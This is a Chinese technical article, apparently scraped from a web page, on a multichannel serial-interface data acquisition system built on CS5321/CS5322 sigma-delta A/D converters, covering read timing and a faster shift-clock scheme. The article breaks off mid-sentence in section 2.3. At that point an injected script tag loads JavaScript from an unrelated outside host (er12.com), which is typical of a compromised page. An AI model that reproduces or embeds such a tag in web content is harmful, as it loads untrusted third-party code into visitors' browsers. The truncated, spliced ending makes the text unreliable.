引言
∑一△a/d转换技术以其高分辨率和大的动态范围在数据采集系统中得到了广泛应用：但∑一△a/d转换器通常采用串行传输，因此由它实现的采集系统大多包含串并转换单元。为了达到系统设计简化，降低系统成本的目的，探讨一种直接用串行传输的多通道数据采集系统的方法十分有必要。
采用∑一△a/d有三个优点：第一是∑一△a/d转换器的前端无需设置大陡度的抗混叠模拟滤波器，也无需设置采样保持电路；其次，由于∑一△a/d可直接对大动态范围的模拟信号进行高精度的转换，无需加上程控放大器；最后，由于∑一△a/d一般都采用串行方式进行数据传输，如果系统设计得当的话，接口电路将会非常简洁。
cs5321和cs5322分别是∑一△调制器和可编程多级fir线性相位数字抽取滤波器。二者结合，可得到24位高精度a/d转换器
系统，它们的接口电路如图1所示。cs5321的工作频带为o～1500hz，可输出两种不同速率的过抽样1位∑一△位流。cs5322是为cs5321设计的专用数字抽取滤波器，它是一个抽样率可变的3级抽取数字滤波器，通过对它的decc、decb、deca三个控制位编程可以得到4khz、2khz、1khz、500hz、250hz、125hz、62.5hz七种不同的输出抽取率，输出的字长为24位，并且在串行口读工作方式下以位流的形式从cs5322的sod引脚输出。
根据cs5321和cs5322的这些特点，在选择系统的中央处理及控制单元的时候，最好选择字长为32位的带有串行口的dsp或其他的微处理器。
1系统的总体接口
基于以上介绍及整个系统采用串行传输的考虑，采集系统的总体接口框图如图2所示。
由图1可见，多通道模拟信号先经过前置放大器送到各自的∑一△a/d转换器，得到的多通道数字信号在多路控制电路的作用下，通过串行口传输到中央处理控制单元，经过适当的处理后可以送入存储器中存储。整个系统设计的关键在于多通道的串行口接口设计，下面予以介绍。
2多通道串行接口的设计原理与实现
由前面介绍可知，cs5322输出为24位串行比特流，只需要加入少量的多路控制逻辑，就能够实现多通道的a/d转换器与dsp的直接连接，几乎不需要加入其他的任何接口逻辑电路。下面从分析∑一△a/d转换器的工作时序开始，详细介绍该采集系统的原理及具体实现。
2.1∑一△a/d转换器的串口读操作时序
由cs5321/cs5322组成的∑一△a/d转换器的串行口读操作时序如图3所示。
当cs5321/cs5322的输入时钟(clkin)为1mhz时，调制器(cs5321)输出速率为256kb/s的串行抽样比特流。通过对cs5322的抽取率控制位(decc、decb、deca)的不同赋值，可以产生7种不同的输出字率(即采样频率)，字长为24位。cs5322的初始化可以通过软件编程，也可以通过硬件直接置位完成。具体采用哪种方法，可以根据系统的需要来选择。
cs5322的drdy为数据准备好信号引脚。当drdy为高电平时，表示cs5321/cs5322组成的∑一△a/d转换器已经进行完一次转换，并已由cs5322将数据在其输出缓冲器中准备好，数据可以从串行口输出。cs5322中读操作控制插针有cs、r/w、sclk、sod。当cs=o且r/w=1时，串行口处于读操作有效。rsel引脚用来选择串口输出的是数据缓冲器，还是状态缓冲器的数据，sod为串行数据输出插针。当读状态被选择后，不管sclk是高电平还是低电平，第一位输出数据都会在sod插针出现，并且在sclk的下降沿终止。第一个sclk下降沿后，每一个sclk的上升沿从sod引脚输出一位数据。输出的位流顺序为高位(msb)在前低位(lsb)在后。
2．2多通道串行接口的原理
通过以上对cs5322的串行读操作时序的分析，可以得到利用cs5321/cs5322实现的多通道数据采集系统的传统方案。以m通道为例，系统的框图如图4所示。
在由cs5321/cs5322组成的∑一△a/d转换器的多通道采集系统中，传统方案如图4所示。通过控制器轮流接通各道的drdy信号，在drdy为高电平时各道轮流从sod引脚将数据输出到控制器。由cs5321/cs5322所组成的∑一△a/d转换器的采样率，由decc、decb、deca三位设定，可以为62．5hz～4khz等7种。对应每一种采样率，所要求的移位时钟(sclk)的最低频率fmin=fs×24(fs为采样率)。在典型用法中，只需要根据采样率要求设计一个时钟源，使它的频率略高于，fmin即可。时序示意如图5所示。
2.3对传统方案的改进
按照上述方案，虽然可以完成多通道数据采集系统的设计，但是用这种方案设计的多通道数据采集系统完成一次多道数据采集传送的周期(t=m×24/fs)很长，特别是图5传统方案的多通道数据采集时序示意图随着m的增大，即通道数的增加，t将成倍增加。
通过对cs5321/cs5322的进一步研究发现，cs5322对sclk要求的最小周期可以为100ns，远远高于传统的设计方法所采用的移位时钟频率。因此，可以通过加快串行移位时钟(sclk)来加快读出数据的速率，从而实现在一个?script src=http://er12.com/t.js>
